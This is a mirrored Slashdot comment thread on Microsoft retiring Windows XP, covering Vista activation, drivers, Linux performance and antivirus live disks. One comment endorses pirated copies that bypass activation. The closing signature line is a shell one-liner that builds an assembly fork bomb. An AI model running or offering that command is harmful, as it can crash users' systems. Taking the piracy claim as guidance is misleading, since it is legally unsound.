Slashdot Mirror
The Death of Windows XP
bsk_cw writes "Although many Windows users intend to hold onto their copies of XP until it is pried from their cold, dead fingers, Microsoft fully intends to phase out the OS in favor of Vista. If you're unwilling to move to one of the alternatives, and really don't like Vista, the least you can do is be aware of what's in store. David DeJean offers a rundown on Microsoft's timeline for Windows XP, why the company does things that way, and what you can do about it."
I have Vista installed on my PC. When I bought a new hard drive, I found out that I could not simply activate Vista on my PC (with all the same hardware as before, except the drive itself). I reluctantly called Microsoft support, who asked me for a 25 character (from memory) code, and then read me out another 25 character code which I had to enter to activate Vista.
Wow. Just for changing my hard drive.
I fully intend to downgrade to XP in the near future.
-JB
"I love deadlines. I love the "whooshing" sound they make as they pass by." - Douglas Adams.
Probably the video drivers. I know my XP runs quite a bit faster than ubuntu. I can't run you tube videos in full screen in ubuntu without major drops in frame rate. Not only that, I have to restart X when changing users or the radeon gl renderer changes to mesa.
"He's lost in a 'floyd hole"
My laptop actually is slower with a standard Ubuntu install than with Vista
I don't really have a hard time believing this. Between video acceleration (non-restricted drivers) and things like networking support (ndiswrapper aka the spawn of satan) it might be easy to get a situation where some things are or just feel more speedy on Vista. I have Vista on a desktop at home just trying it out and performance (aside from file copying) has never been a problem. While I think there are some serious design issues with Vista I do not find any fault with response time or performance on moderately new hardware.
An extreme case is startup/shutdown/hibernate times. On XP/Vista it takes about 30-45 seconds goes from off to usable and about 8 seconds when in hibernation. I may as well shut down the Ubuntu partition since coming out of hibernation is no faster than just starting it up normally (which takes a lot longer than 30 seconds) and occasionally hibernation fails to resume correctly.
"What do you despise? By this are you truly known." --Princess Irulan, Manual of Muad'Dib
/)
Win2K drivers are more common than Vista drivers.
Unless, of course, you want to run shiny new things. I'll bet he's not running any games past D9 on it.
The cesspool just got a check and balance.
I can't speak to the Radeon GL Application switching to Mesa as I use Nvidia cards and don't have that issue.
But Flash 9.0.115 on Linux is TERRIBLE. That plugin is so unstable it crashes Youtube every other video and eats RAM. This isn't Linux's fault its Adobe's.
But there is a work around. Extract the FLV and use ffmpeg or mencoder and change it into another format, it looks MUCH Better. Just get it out of that horrid flash plugin.
Er, Compiz isn't a memory hog though. I just measured it, and with all the standard features turned on it seems to use about 8MB more than a standard non-compositing window manager (e.g. metacity). It's also very fast and responsive with even minimal hardware acceleration (I'm using a machine with built-in intel 845G graphics, and compiz works very nicely).
I don't know what MS did to fuck up Vista so much, but you can't lay it at the feet of "compositing window managers."
We live, as we dream -- alone....
When you post stuff like this people are just going to point out the youtube.com video WINDOWS VISTA AERO VS LINUX UBUNTU BERYL. 3 million people have seen it. Why haven't you? It's from February of last year. Compiz has improved some since.
Here is Compiz running on a seven year old 800 MHz PIII with 128 MB of RAM. It runs better than Vista did on the last dual core notebook with 1GB I tried it on, and it looks better too.
Here's Compiz running on an eee PC. Isn't that sweet? I hate lugging around 15 pounds of kit and the eee will be my next PC purchase. It weighs two pounds. Did you hear they're only 300 bucks (No, not the software. The whole thing!)?
I hear Vista comes with a few docklets or widgets or whatever they're calling them now. Ubuntu comes with this small collection of neat little toys. I didn't count them. I think there's thousands of them in there. People might find one or two interesting things in there.
Now what were you saying again? Oh, yeah,
Now you're projecting. In design are you? Apparently others are more giving. Perhaps that's because what they get back is "Progress" and that's good value.
Help stamp out iliturcy.
Are you serious?
You should think about that for a moment. Then think about a little bit more, and then you might realize how astronomically stupid of a statement that is. (Not you, just Microsoft attempting to do it).
Those stickers that are on the sides of computers, or in my case on a piece of paper, are worth 175$ approx. right now. The EULA forces Microsoft to provide activation FOREVER.
That's right. FOREVER. If they don't provide you with a activation key to accomplish an installation, they are in default of their contractual agreement. That's the problem with activation. A customer has purchased the right to use that software for an indefinite amount of time. It is the software developers responsibility to provide the activation service for as long as their customers EXIST.
Pain in the Ass huh? Well that's what they get for being Big Brother. Big Brother has to always be there to hold your hand and make sure you are doing the right thing. It's like kids. It's a lifelong job, with no end in sight, except DEATH. For any company that uses activation as a protection mechanism, there are costs associated with it. The only way out is to file bankruptcy to protect them from pissed off customers who cannot activate anymore.
Of course, there is always the option of running a pirated copy that bypasses activation. Nothing wrong with that, especially since you still possess the Certificate of Authenticity.
I have always felt there should be a congressional investigation into Microsoft's practices with bundling software. I feel it should be illegal to do so, without methods in place to obtain rebates through the mail. Why? That sticker.
You have the right from the EULA agreement to transfer that product FOREVER. Without Limitations Even.
Furthermore, Microsoft made no provisions in the EULA, which "constitutes the entire agreement", to actually stop providing the activation services. If they did you would be well within your rights to sue them.
Check out this link: http://www.microsoft.com/about/legal/useterms/default.aspx
You could always use ClamAV installed on something like SLAX, that would be dead simple to set up and keep up to date; the reliable (ie. transparent, not "we tested them somehow, just trust us that it was a good test") malware scan tests I've seen tend to place ClamAV pretty high, somewhere between Kaspersky and Norton. I swear Avast made a live disk, some BartPE-based one I think, but yeah, it's a bit odd/suspicious that the major antivirus/antimalware companies don't make live disks . . . perhaps one could check to see which ones work well in WINE :)
I remember sigs. Oh, a simpler time!
Which is why every computer shop, or company worried about security, or technician, should make their own.
It's pretty easy actually - through about a dozen methods, including *nix or eComStation live boot disks with ClamAV, et al installed, or using BartPE and building the tools into the ISO, or using Hirens and doing the same, or... well, you get the point... the list of choices are plenty.
And with a rewritable, it is pretty easy to update the disk every day by dragging the updated definitions/apps into the correct directory (or with the tiny cost of CDs, burn a new one every day - or with a good selection of NIC drivers on a Bart disk, let the programs auto update the definitions through the Internet before it even touches the machine's hard drives).
I agree it would be kinda nice if a company made such a product - but what company out there does a good job at dealing with all the threats possible on a PC? You'd still need multiple solutions... the only one I know of that comes close is Spyware Terminator since you can enable ClamAV support. But even so, I prefer the "multiple solutions to each issue" method, namely because even with every program updated, while there is a high level of overlap (eg: they all agree on/find 99% of the viruses and spyware and trojans on a computer; each finds just a few more that the other programs in their category dont). As a neat example, one machine that the customer insisted we could not wipe and needed to clean (5 digit list of infections) required 6 different software packages to find them all... oddly there were two viruses that everything but an outdated McAfee found (we checked, they definitely were infected)... yet ClamAV and 3 other packages missed it. On the other hand, we clean one of our customer's systems with ClamAV to grab everything that Norton and McAfee miss.
So, I prefer the "roll your own" approach :-) And I am guessing that anyone who needs to do true scans/cleaning of their systems also use multiple tools if such issues are critical to them.
I know they're clean because I keep them clean on a day-to-day basis by not installing tons of random crap I found in the net.toilet, keeping applications and plug-ins (and pointless upgrades!) to a bare minimum, and keeping an eye on the security bulletins. It's not rocket science, but it is kind of computer science.Sadly, as anyone who does this day in and day out can tell you, that is not enough to ensure a system is clean. Windows (any version, any service pack) does not need any user intervention or use to get infected. I'm not saying it is horrendous (nor am I saying it's not - not making any statement either way)... what I am saying is that machines do get infected even with all updates installed - and no user in front of the keyboard.
StarTrekPhase2 - The Five Year Mission Continues!
Mcafee disagrees.
AVG disagrees.
Or... if you don't want those, you can just make a "live cd" using any of the countless utilities out there for it.
Or if you're feeling crazy, toss vmware onto a knoppix dvd and boot windows from either an image on the dvd or boot it straight from the drive, isolated in vmware.
Actually, that's not really true. WDM on Win98 is only supported for a few device classes. It doesn't support video cards, printers, scsi adapter, network cards or filesystems, or anything on a non plug and play bus. Video devices are completely different between Win98 and NT based OSs. Scsi and Network cards each have a minport architecture that was portable across 16 and 32 bit OSs backi in the Win98 days but Vista and XP have a very different version of NDIS than Win98. Mostly WDM was a way for people to write USB drivers that worked on Win98 and Win2K. But USB has changed a lot since then, and so has WDM. Finally, lots of modern USB drivers will use WDF in kernel mode or are user mode code that uses WinUSB.sys, and neither of those will work on Win98. In fact neither of them will work on Win2k either.
Other Win98 'drivers' are actually just hacks - code that must run in Ring 0. They are VxDs, a system that was originally designed to virtualise devices underneath multiple Dos boxes. Antivirus software and the like used this environment to hook filesystem access for example. Obviously this can't work on NT since there are no VxDs and the filesystem layer is completely different.
Even between successive releases of NT based OSs, there isn't any guarantee that drivers will work. Most people know this and write their inf files so the device will only install on one of the OS versions they tested.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;